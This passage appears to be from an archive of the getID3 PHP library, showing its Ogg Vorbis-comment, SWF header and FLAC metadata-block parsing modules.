					$commentdataoffset += strlen('OpusTags');
				}

				break;

			case 'flac':
				$CommentStartOffset = $info['flac']['VORBIS_COMMENT']['raw']['offset'] + 4;
				$this->fseek($CommentStartOffset);
				$commentdata = $this->fread($info['flac']['VORBIS_COMMENT']['raw']['block_length']);
				break;

			default:
				return false;
				break;
		}

		$VendorSize = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
		$commentdataoffset += 4;

		$info['ogg']['vendor'] = substr($commentdata, $commentdataoffset, $VendorSize);
		$commentdataoffset += $VendorSize;

		$CommentsCount = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
		$commentdataoffset += 4;
		$info['avdataoffset'] = $CommentStartOffset + $commentdataoffset;

		$basicfields = array('TITLE', 'ARTIST', 'ALBUM', 'TRACKNUMBER', 'GENRE', 'DATE', 'DESCRIPTION', 'COMMENT');
		$ThisFileInfo_ogg_comments_raw = &$info['ogg']['comments_raw'];
		for ($i = 0; $i < $CommentsCount; $i++) {

			if ($i >= 10000) {
				// https://github.com/owncloud/music/issues/212#issuecomment-43082336
				$this->warning('Unexpectedly large number ('.$CommentsCount.') of Ogg comments - breaking after reading '.$i.' comments');
				break;
			}

			$ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] = $CommentStartOffset + $commentdataoffset;

			if ($this->ftell() < ($ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + 4)) {
				if ($oggpageinfo = $this->ParseOggPageHeader()) {
					$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

					$VorbisCommentPage++;

					// First, save what we haven't read yet
					$AsYetUnusedData = substr($commentdata, $commentdataoffset);

					// Then take that data off the end
					$commentdata     = substr($commentdata, 0, $commentdataoffset);

					// Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct
					$commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
					$commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);

					// Finally, stick the unused data back on the end
					$commentdata .= $AsYetUnusedData;

					//$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
					$commentdata .= $this->fread($this->OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1));
				}

			}
			$ThisFileInfo_ogg_comments_raw[$i]['size'] = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));

			// replace avdataoffset with position just after the last vorbiscomment
			$info['avdataoffset'] = $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + $ThisFileInfo_ogg_comments_raw[$i]['size'] + 4;

			$commentdataoffset += 4;
			while ((strlen($commentdata) - $commentdataoffset) < $ThisFileInfo_ogg_comments_raw[$i]['size']) {
				if (($ThisFileInfo_ogg_comments_raw[$i]['size'] > $info['avdataend']) || ($ThisFileInfo_ogg_comments_raw[$i]['size'] < 0)) {
					$this->warning('Invalid Ogg comment size (comment #'.$i.', claims to be '.number_format($ThisFileInfo_ogg_comments_raw[$i]['size']).' bytes) - aborting reading comments');
					break 2;
				}

				$VorbisCommentPage++;

				$oggpageinfo = $this->ParseOggPageHeader();
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

				// First, save what we haven't read yet
				$AsYetUnusedData = substr($commentdata, $commentdataoffset);

				// Then take that data off the end
				$commentdata     = substr($commentdata, 0, $commentdataoffset);

				// Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct
				$commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
				$commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);

				// Finally, stick the unused data back on the end
				$commentdata .= $AsYetUnusedData;

				//$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
				if (!isset($info['ogg']['pageheader'][$VorbisCommentPage])) {
					$this->warning('undefined Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell());
					break;
				}
				$readlength = self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1);
				if ($readlength <= 0) {
					$this->warning('invalid length Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell());
					break;
				}
				$commentdata .= $this->fread($readlength);

				//$filebaseoffset += $oggpageinfo['header_end_offset'] - $oggpageinfo['page_start_offset'];
			}
			$ThisFileInfo_ogg_comments_raw[$i]['offset'] = $commentdataoffset;
			$commentstring = substr($commentdata, $commentdataoffset, $ThisFileInfo_ogg_comments_raw[$i]['size']);
			$commentdataoffset += $ThisFileInfo_ogg_comments_raw[$i]['size'];

			if (!$commentstring) {

				// no comment?
				$this->warning('Blank Ogg comment ['.$i.']');

			} elseif (strstr($commentstring, '=')) {

				$commentexploded = explode('=', $commentstring, 2);
				$ThisFileInfo_ogg_comments_raw[$i]['key']   = strtoupper($commentexploded[0]);
				$ThisFileInfo_ogg_comments_raw[$i]['value'] = (isset($commentexploded[1]) ? $commentexploded[1] : '');

				if ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'METADATA_BLOCK_PICTURE') {

					// http://wiki.xiph.org/VorbisComment#METADATA_BLOCK_PICTURE
					// The unencoded format is that of the FLAC picture block. The fields are stored in big endian order as in FLAC, picture data is stored according to the relevant standard.
					// http://flac.sourceforge.net/format.html#metadata_block_picture
					$flac = new getid3_flac($this->getid3);
					$flac->setStringMode(base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']));
					$flac->parsePICTURE();
					$info['ogg']['comments']['picture'][] = $flac->getid3->info['flac']['PICTURE'][0];
					unset($flac);

				} elseif ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'COVERART') {

					$data = base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']);
					$this->notice('Found deprecated COVERART tag, it should be replaced in honor of METADATA_BLOCK_PICTURE structure');
					/** @todo use 'coverartmime' where available */
					$imageinfo = getid3_lib::GetDataImageSize($data);
					if ($imageinfo === false || !isset($imageinfo['mime'])) {
						$this->warning('COVERART vorbiscomment tag contains invalid image');
						continue;
					}

					$ogg = new self($this->getid3);
					$ogg->setStringMode($data);
					$info['ogg']['comments']['picture'][] = array(
						'image_mime'   => $imageinfo['mime'],
						'datalength'   => strlen($data),
						'picturetype'  => 'cover art',
						'image_height' => $imageinfo['height'],
						'image_width'  => $imageinfo['width'],
						'data'         => $ogg->saveAttachment('coverart', 0, strlen($data), $imageinfo['mime']),
					);
					unset($ogg);

				} else {

					$info['ogg']['comments'][strtolower($ThisFileInfo_ogg_comments_raw[$i]['key'])][] = $ThisFileInfo_ogg_comments_raw[$i]['value'];

				}

			} else {

				$this->warning('[known problem with CDex >= v1.40, < v1.50b7] Invalid Ogg comment name/value pair ['.$i.']: '.$commentstring);

			}
			unset($ThisFileInfo_ogg_comments_raw[$i]);
		}
		unset($ThisFileInfo_ogg_comments_raw);


		// Replay Gain Adjustment
		// http://privatewww.essex.ac.uk/~djmrob/replaygain/
		if (isset($info['ogg']['comments']) && is_array($info['ogg']['comments'])) {
			foreach ($info['ogg']['comments'] as $index => $commentvalue) {
				switch ($index) {
					case 'rg_audiophile':
					case 'replaygain_album_gain':
						$info['replay_gain']['album']['adjustment'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'rg_radio':
					case 'replaygain_track_gain':
						$info['replay_gain']['track']['adjustment'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'replaygain_album_peak':
						$info['replay_gain']['album']['peak'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'rg_peak':
					case 'replaygain_track_peak':
						$info['replay_gain']['track']['peak'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'replaygain_reference_loudness':
						$info['replay_gain']['reference_volume'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					default:
						// do nothing
						break;
				}
			}
		}

		$this->fseek($OriginalOffset);

		return true;
	}

	public static function SpeexBandModeLookup($mode) {
		static $SpeexBandModeLookup = array();
		if (empty($SpeexBandModeLookup)) {
			$SpeexBandModeLookup[0] = 'narrow';
			$SpeexBandModeLookup[1] = 'wide';
			$SpeexBandModeLookup[2] = 'ultra-wide';
		}
		return (isset($SpeexBandModeLookup[$mode]) ? $SpeexBandModeLookup[$mode] : null);
	}


	public static function OggPageSegmentLength($OggInfoArray, $SegmentNumber=1) {
		for ($i = 0; $i < $SegmentNumber; $i++) {
			$segmentlength = 0;
			foreach ($OggInfoArray['segment_table'] as $key => $value) {
				$segmentlength += $value;
				if ($value < 255) {
					break;
				}
			}
		}
		return $segmentlength;
	}


	public static function get_quality_from_nominal_bitrate($nominal_bitrate) {

		// decrease precision
		$nominal_bitrate = $nominal_bitrate / 1000;

		if ($nominal_bitrate < 128) {
			// q-1 to q4
			$qval = ($nominal_bitrate - 64) / 16;
		} elseif ($nominal_bitrate < 256) {
			// q4 to q8
			$qval = $nominal_bitrate / 32;
		} elseif ($nominal_bitrate < 320) {
			// q8 to q9
			$qval = ($nominal_bitrate + 256) / 64;
		} else {
			// q9 to q10
			$qval = ($nominal_bitrate + 1300) / 180;
		}
		//return $qval; // 5.031324
		//return intval($qval); // 5
		return round($qval, 1); // 5 or 4.9
	}

	public static function TheoraColorSpace($colorspace_id) {
		// http://www.theora.org/doc/Theora.pdf (table 6.3)
		static $TheoraColorSpaceLookup = array();
		if (empty($TheoraColorSpaceLookup)) {
			$TheoraColorSpaceLookup[0] = 'Undefined';
			$TheoraColorSpaceLookup[1] = 'Rec. 470M';
			$TheoraColorSpaceLookup[2] = 'Rec. 470BG';
			$TheoraColorSpaceLookup[3] = 'Reserved';
		}
		return (isset($TheoraColorSpaceLookup[$colorspace_id]) ? $TheoraColorSpaceLookup[$colorspace_id] : null);
	}

	public static function TheoraPixelFormat($pixelformat_id) {
		// http://www.theora.org/doc/Theora.pdf (table 6.4)
		static $TheoraPixelFormatLookup = array();
		if (empty($TheoraPixelFormatLookup)) {
			$TheoraPixelFormatLookup[0] = '4:2:0';
			$TheoraPixelFormatLookup[1] = 'Reserved';
			$TheoraPixelFormatLookup[2] = '4:2:2';
			$TheoraPixelFormatLookup[3] = '4:4:4';
		}
		return (isset($TheoraPixelFormatLookup[$pixelformat_id]) ? $TheoraPixelFormatLookup[$pixelformat_id] : null);
	}

}
editor/libraries/classes/vendor/getid3/getid3/module.audio-video.swf.php000060400000013217150750527150022305 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.swf.php                                  //
// module for analyzing Shockwave Flash files                  //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////


class getid3_swf extends getid3_handler
{
	public $ReturnAllTagData = false;

	public function Analyze() {
		$info = &$this->getid3->info;

		$info['fileformat']          = 'swf';
		$info['video']['dataformat'] = 'swf';

		// http://www.openswf.org/spec/SWFfileformat.html

		$this->fseek($info['avdataoffset']);

		$SWFfileData = $this->fread($info['avdataend'] - $info['avdataoffset']); // 8 + 2 + 2 + max(9) bytes NOT including Frame_Size RECT data

		$info['swf']['header']['signature']  = substr($SWFfileData, 0, 3);
		switch ($info['swf']['header']['signature']) {
			case 'FWS':
				$info['swf']['header']['compressed'] = false;
				break;

			case 'CWS':
				$info['swf']['header']['compressed'] = true;
				break;

			default:
				$this->error('Expecting "FWS" or "CWS" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['swf']['header']['signature']).'"');
				unset($info['swf']);
				unset($info['fileformat']);
				return false;
				break;
		}
		$info['swf']['header']['version'] = getid3_lib::LittleEndian2Int(substr($SWFfileData, 3, 1));
		$info['swf']['header']['length']  = getid3_lib::LittleEndian2Int(substr($SWFfileData, 4, 4));

		if ($info['swf']['header']['compressed']) {
			$SWFHead     = substr($SWFfileData, 0, 8);
			$SWFfileData = substr($SWFfileData, 8);
			if ($decompressed = @gzuncompress($SWFfileData)) {
				$SWFfileData = $SWFHead.$decompressed;
			} else {
				$this->error('Error decompressing compressed SWF data ('.strlen($SWFfileData).' bytes compressed, should be '.($info['swf']['header']['length'] - 8).' bytes uncompressed)');
				return false;
			}
		}

		$FrameSizeBitsPerValue = (ord(substr($SWFfileData, 8, 1)) & 0xF8) >> 3;
		$FrameSizeDataLength   = ceil((5 + (4 * $FrameSizeBitsPerValue)) / 8);
		$FrameSizeDataString   = str_pad(decbin(ord(substr($SWFfileData, 8, 1)) & 0x07), 3, '0', STR_PAD_LEFT);
		for ($i = 1; $i < $FrameSizeDataLength; $i++) {
			$FrameSizeDataString .= str_pad(decbin(ord(substr($SWFfileData, 8 + $i, 1))), 8, '0', STR_PAD_LEFT);
		}
		list($X1, $X2, $Y1, $Y2) = explode("\n", wordwrap($FrameSizeDataString, $FrameSizeBitsPerValue, "\n", 1));
		$info['swf']['header']['frame_width']  = getid3_lib::Bin2Dec($X2);
		$info['swf']['header']['frame_height'] = getid3_lib::Bin2Dec($Y2);

		// http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm
		// Next in the header is the frame rate, which is kind of weird.
		// It is supposed to be stored as a 16bit integer, but the first byte
		// (or last depending on how you look at it) is completely ignored.
		// Example: 0x000C  ->  0x0C  ->  12     So the frame rate is 12 fps.

		// Byte at (8 + $FrameSizeDataLength) is always zero and ignored
		$info['swf']['header']['frame_rate']  = getid3_lib::LittleEndian2Int(substr($SWFfileData,  9 + $FrameSizeDataLength, 1));
		$info['swf']['header']['frame_count'] = getid3_lib::LittleEndian2Int(substr($SWFfileData, 10 + $FrameSizeDataLength, 2));

		$info['video']['frame_rate']         = $info['swf']['header']['frame_rate'];
		$info['video']['resolution_x']       = intval(round($info['swf']['header']['frame_width']  / 20));
		$info['video']['resolution_y']       = intval(round($info['swf']['header']['frame_height'] / 20));
		$info['video']['pixel_aspect_ratio'] = (float) 1;

		if (($info['swf']['header']['frame_count'] > 0) && ($info['swf']['header']['frame_rate'] > 0)) {
			$info['playtime_seconds'] = $info['swf']['header']['frame_count'] / $info['swf']['header']['frame_rate'];
		}
//echo __LINE__.'='.number_format(microtime(true) - $start_time, 3).'<br>';


		// SWF tags

		$CurrentOffset = 12 + $FrameSizeDataLength;
		$SWFdataLength = strlen($SWFfileData);

		while ($CurrentOffset < $SWFdataLength) {
//echo __LINE__.'='.number_format(microtime(true) - $start_time, 3).'<br>';

			$TagIDTagLength = getid3_lib::LittleEndian2Int(substr($SWFfileData, $CurrentOffset, 2));
			$TagID     = ($TagIDTagLength & 0xFFFC) >> 6;
			$TagLength = ($TagIDTagLength & 0x003F);
			$CurrentOffset += 2;
			if ($TagLength == 0x3F) {
				$TagLength = getid3_lib::LittleEndian2Int(substr($SWFfileData, $CurrentOffset, 4));
				$CurrentOffset += 4;
			}

			unset($TagData);
			$TagData['offset'] = $CurrentOffset;
			$TagData['size']   = $TagLength;
			$TagData['id']     = $TagID;
			$TagData['data']   = substr($SWFfileData, $CurrentOffset, $TagLength);
			switch ($TagID) {
				case 0: // end of movie
					break 2;

				case 9: // Set background color
					//$info['swf']['tags'][] = $TagData;
					$info['swf']['bgcolor'] = strtoupper(str_pad(dechex(getid3_lib::BigEndian2Int($TagData['data'])), 6, '0', STR_PAD_LEFT));
					break;

				default:
					if ($this->ReturnAllTagData) {
						$info['swf']['tags'][] = $TagData;
					}
					break;
			}

			$CurrentOffset += $TagLength;
		}

		return true;
	}

}
editor/libraries/classes/vendor/getid3/getid3/module.audio.flac.php000060400000044125150750527150021311 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.flac.php                                       //
// module for analyzing FLAC and OggFLAC audio files           //
// dependencies: module.audio.ogg.php                          //
//                                                            ///
/////////////////////////////////////////////////////////////////


getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true);

/**
* @tutorial http://flac.sourceforge.net/format.html
*/
class getid3_flac extends getid3_handler
{
	const syncword = 'fLaC';

	public function Analyze() {
		$info = &$this->getid3->info;

		$this->fseek($info['avdataoffset']);
		$StreamMarker = $this->fread(4);
		if ($StreamMarker != self::syncword) {
			return $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($StreamMarker).'"');
		}
		$info['fileformat']            = 'flac';
		$info['audio']['dataformat']   = 'flac';
		$info['audio']['bitrate_mode'] = 'vbr';
		$info['audio']['lossless']     = true;

		// parse flac container
		return $this->parseMETAdata();
	}

	public function parseMETAdata() {
		$info = &$this->getid3->info;
		do {
			$BlockOffset   = $this->ftell();
			$BlockHeader   = $this->fread(4);
			$LBFBT         = getid3_lib::BigEndian2Int(substr($BlockHeader, 0, 1));
			$LastBlockFlag = (bool) ($LBFBT & 0x80);
			$BlockType     =        ($LBFBT & 0x7F);
			$BlockLength   = getid3_lib::BigEndian2Int(substr($BlockHeader, 1, 3));
			$BlockTypeText = self::metaBlockTypeLookup($BlockType);

			if (($BlockOffset + 4 + $BlockLength) > $info['avdataend']) {
				$this->error('METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockTypeText.') at offset '.$BlockOffset.' extends beyond end of file');
				break;
			}
			if ($BlockLength < 1) {
				$this->error('METADATA_BLOCK_HEADER.BLOCK_LENGTH ('.$BlockLength.') at offset '.$BlockOffset.' is invalid');
				break;
			}

			$info['flac'][$BlockTypeText]['raw'] = array();
			$BlockTypeText_raw = &$info['flac'][$BlockTypeText]['raw'];

			$BlockTypeText_raw['offset']          = $BlockOffset;
			$BlockTypeText_raw['last_meta_block'] = $LastBlockFlag;
			$BlockTypeText_raw['block_type']      = $BlockType;
			$BlockTypeText_raw['block_type_text'] = $BlockTypeText;
			$BlockTypeText_raw['block_length']    = $BlockLength;
			if ($BlockTypeText_raw['block_type'] != 0x06) { // do not read attachment data automatically
				$BlockTypeText_raw['block_data']  = $this->fread($BlockLength);
			}

			switch ($BlockTypeText) {
				case 'STREAMINFO':     // 0x00
					if (!$this->parseSTREAMINFO($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'PADDING':        // 0x01
					unset($info['flac']['PADDING']); // ignore
					break;

				case 'APPLICATION':    // 0x02
					if (!$this->parseAPPLICATION($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'SEEKTABLE':      // 0x03
					if (!$this->parseSEEKTABLE($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'VORBIS_COMMENT': // 0x04
					if (!$this->parseVORBIS_COMMENT($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'CUESHEET':       // 0x05
					if (!$this->parseCUESHEET($BlockTypeText_raw['block_data'])) {
						return false;
					}
					break;

				case 'PICTURE':        // 0x06
					if (!$this->parsePICTURE()) {
						return false;
					}
					break;

				default:
					$this->warning('Unhandled METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockType.') at offset '.$BlockOffset);
			}

			unset($info['flac'][$BlockTypeText]['raw']);
			$info['avdataoffset'] = $this->ftell();
		}
		while ($LastBlockFlag === false);

		// handle tags
		if (!empty($info['flac']['VORBIS_COMMENT']['comments'])) {
			$info['flac']['comments'] = $info['flac']['VORBIS_COMMENT']['comments'];
		}
		if (!empty($info['flac']['VORBIS_COMMENT']['vendor'])) {
			$info['audio']['encoder'] = str_replace('reference ', '', $info['flac']['VORBIS_COMMENT']['vendor']);
		}

		// copy attachments to 'comments' array if nesesary
		if (isset($info['flac']['PICTURE']) && ($this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE)) {
			foreach ($info['flac']['PICTURE'] as $entry) {
				if (!empty($entry['data'])) {
					if (!isset($info['flac']['comments']['picture'])) {
						$info['flac']['comments']['picture'] = array();
					}
					$comments_picture_data = array();
					foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
						if (isset($entry[$picture_key])) {
							$comments_picture_data[$picture_key] = $entry[$picture_key];
						}
					}
					$info['flac']['comments']['picture'][] = $comments_picture_data;
					unset($comments_picture_data);
				}
			}
		}

		if (isset($info['flac']['STREAMINFO'])) {
			if (!$this->isDependencyFor('matroska')) {
				$info['flac']['compressed_audio_bytes'] = $info['avdataend'] - $info['avdataoffset'];
			}
			$info['flac']['uncompressed_audio_bytes'] = $info['flac']['STREAMINFO']['samples_stream'] * $info['flac']['STREAMINFO']['channels'] * ($info['flac']['STREAMINFO']['bits_per_sample'] / 8);
			if ($info['flac']['uncompressed_audio_bytes'] == 0) {
				return $this->error('Corrupt FLAC file: uncompressed_audio_bytes == zero');
			}
			if (!empty($info['flac']['compressed_audio_bytes'])) {
				$info['flac']['compression_ratio'] = $info['flac']['compressed_audio_bytes'] / $info['flac']['uncompressed_audio_bytes'];
			}
		}

		// set md5_data_source - built into flac 0.5+
		if (isset($info['flac']['STREAMINFO']['audio_signature'])) {

			if ($info['flac']['STREAMINFO']['audio_signature'] === str_repeat("\x00", 16)) {
                $this->warning('FLAC STREAMINFO.audio_signature is null (known issue with libOggFLAC)');
			}
			else {
				$info['md5_data_source'] = '';
				$md5 = $info['flac']['STREAMINFO']['audio_signature'];
				for ($i = 0; $i < strlen($md5); $i++) {
					$info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT);
				}
				if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) {
					unset($info['md5_data_source']);
				}
			}
		}

		if (isset($info['flac']['STREAMINFO']['bits_per_sample'])) {
			$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
			if ($info['audio']['bits_per_sample'] == 8) {
				// special case
				// must invert sign bit on all data bytes before MD5'ing to match FLAC's calculated value
				// MD5sum calculates on unsigned bytes, but FLAC calculated MD5 on 8-bit audio data as signed
				$this->warning('FLAC calculates MD5 data strangely on 8-bit audio, so the stored md5_data_source value will not match the decoded WAV file');
			}
		}

		return true;
	}

	private function parseSTREAMINFO($BlockData) {
		$info = &$this->getid3->info;

		$info['flac']['STREAMINFO'] = array();
		$streaminfo = &$info['flac']['STREAMINFO'];

		$streaminfo['min_block_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 0, 2));
		$streaminfo['max_block_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 2, 2));
		$streaminfo['min_frame_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 4, 3));
		$streaminfo['max_frame_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 7, 3));

		$SRCSBSS                       = getid3_lib::BigEndian2Bin(substr($BlockData, 10, 8));
		$streaminfo['sample_rate']     = getid3_lib::Bin2Dec(substr($SRCSBSS,  0, 20));
		$streaminfo['channels']        = getid3_lib::Bin2Dec(substr($SRCSBSS, 20,  3)) + 1;
		$streaminfo['bits_per_sample'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 23,  5)) + 1;
		$streaminfo['samples_stream']  = getid3_lib::Bin2Dec(substr($SRCSBSS, 28, 36));

		$streaminfo['audio_signature'] = substr($BlockData, 18, 16);

		if (!empty($streaminfo['sample_rate'])) {

			$info['audio']['bitrate_mode']    = 'vbr';
			$info['audio']['sample_rate']     = $streaminfo['sample_rate'];
			$info['audio']['channels']        = $streaminfo['channels'];
			$info['audio']['bits_per_sample'] = $streaminfo['bits_per_sample'];
			$info['playtime_seconds']         = $streaminfo['samples_stream'] / $streaminfo['sample_rate'];
			if ($info['playtime_seconds'] > 0) {
				if (!$this->isDependencyFor('matroska')) {
					$info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
				}
				else {
					$this->warning('Cannot determine audio bitrate because total stream size is unknown');
				}
			}

		} else {
			return $this->error('Corrupt METAdata block: STREAMINFO');
		}

		return true;
	}

	private function parseAPPLICATION($BlockData) {
		$info = &$this->getid3->info;

		$ApplicationID = getid3_lib::BigEndian2Int(substr($BlockData, 0, 4));
		$info['flac']['APPLICATION'][$ApplicationID]['name'] = self::applicationIDLookup($ApplicationID);
		$info['flac']['APPLICATION'][$ApplicationID]['data'] = substr($BlockData, 4);

		return true;
	}

	private function parseSEEKTABLE($BlockData) {
		$info = &$this->getid3->info;

		$offset = 0;
		$BlockLength = strlen($BlockData);
		$placeholderpattern = str_repeat("\xFF", 8);
		while ($offset < $BlockLength) {
			$SampleNumberString = substr($BlockData, $offset, 8);
			$offset += 8;
			if ($SampleNumberString == $placeholderpattern) {

				// placeholder point
				getid3_lib::safe_inc($info['flac']['SEEKTABLE']['placeholders'], 1);
				$offset += 10;

			} else {

				$SampleNumber                                        = getid3_lib::BigEndian2Int($SampleNumberString);
				$info['flac']['SEEKTABLE'][$SampleNumber]['offset']  = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
				$offset += 8;
				$info['flac']['SEEKTABLE'][$SampleNumber]['samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 2));
				$offset += 2;

			}
		}

		return true;
	}

	private function parseVORBIS_COMMENT($BlockData) {
		$info = &$this->getid3->info;

		$getid3_ogg = new getid3_ogg($this->getid3);
		if ($this->isDependencyFor('matroska')) {
			$getid3_ogg->setStringMode($this->data_string);
		}
		$getid3_ogg->ParseVorbisComments();
		if (isset($info['ogg'])) {
			unset($info['ogg']['comments_raw']);
			$info['flac']['VORBIS_COMMENT'] = $info['ogg'];
			unset($info['ogg']);
		}

		unset($getid3_ogg);

		return true;
	}

	private function parseCUESHEET($BlockData) {
		$info = &$this->getid3->info;
		$offset = 0;
		$info['flac']['CUESHEET']['media_catalog_number'] =                              trim(substr($BlockData, $offset, 128), "\0");
		$offset += 128;
		$info['flac']['CUESHEET']['lead_in_samples']      =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
		$offset += 8;
		$info['flac']['CUESHEET']['flags']['is_cd']       = (bool) (getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)) & 0x80);
		$offset += 1;

		$offset += 258; // reserved

		$info['flac']['CUESHEET']['number_tracks']        =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
		$offset += 1;

		for ($track = 0; $track < $info['flac']['CUESHEET']['number_tracks']; $track++) {
			$TrackSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
			$offset += 8;
			$TrackNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;

			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['sample_offset']         = $TrackSampleOffset;

			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['isrc']                  =                           substr($BlockData, $offset, 12);
			$offset += 12;

			$TrackFlagsRaw                                                             = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;
			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['is_audio']     = (bool) ($TrackFlagsRaw & 0x80);
			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['pre_emphasis'] = (bool) ($TrackFlagsRaw & 0x40);

			$offset += 13; // reserved

			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']          = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
			$offset += 1;

			for ($index = 0; $index < $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']; $index++) {
				$IndexSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
				$offset += 8;
				$IndexNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
				$offset += 1;

				$offset += 3; // reserved

				$info['flac']['CUESHEET']['tracks'][$TrackNumber]['indexes'][$IndexNumber] = $IndexSampleOffset;
			}
		}

		return true;
	}

	/**
	* Parse METADATA_BLOCK_PICTURE flac structure and extract attachment
	* External usage: audio.ogg
	*/
	public function parsePICTURE() {
		$info = &$this->getid3->info;

		$picture['typeid']         = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['picturetype']    = self::pictureTypeLookup($picture['typeid']);
		$picture['image_mime']     = $this->fread(getid3_lib::BigEndian2Int($this->fread(4)));
		$descr_length              = getid3_lib::BigEndian2Int($this->fread(4));
		if ($descr_length) {
			$picture['description'] = $this->fread($descr_length);
		}
		$picture['image_width']    = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['image_height']   = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['color_depth']    = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['colors_indexed'] = getid3_lib::BigEndian2Int($this->fread(4));
		$picture['datalength']     = getid3_lib::BigEndian2Int($this->fread(4));

		if ($picture['image_mime'] == '-->') {
			$picture['data'] = $this->fread($picture['datalength']);
		} else {
			$picture['data'] = $this->saveAttachment(
				str_replace('/', '_', $picture['picturetype']).'_'.$this->ftell(),
				$this->ftell(),
				$picture['datalength'],
				$picture['image_mime']);
		}

		$info['flac']['PICTURE'][] = $picture;

		return true;
	}

	public static function metaBlockTypeLookup($blocktype) {
		static $lookup = array(
			0 => 'STREAMINFO',
			1 => 'PADDING',
			2 => 'APPLICATION',
			3 => 'SEEKTABLE',
			4 => 'VORBIS_COMMENT',
			5 => 'CUESHEET',
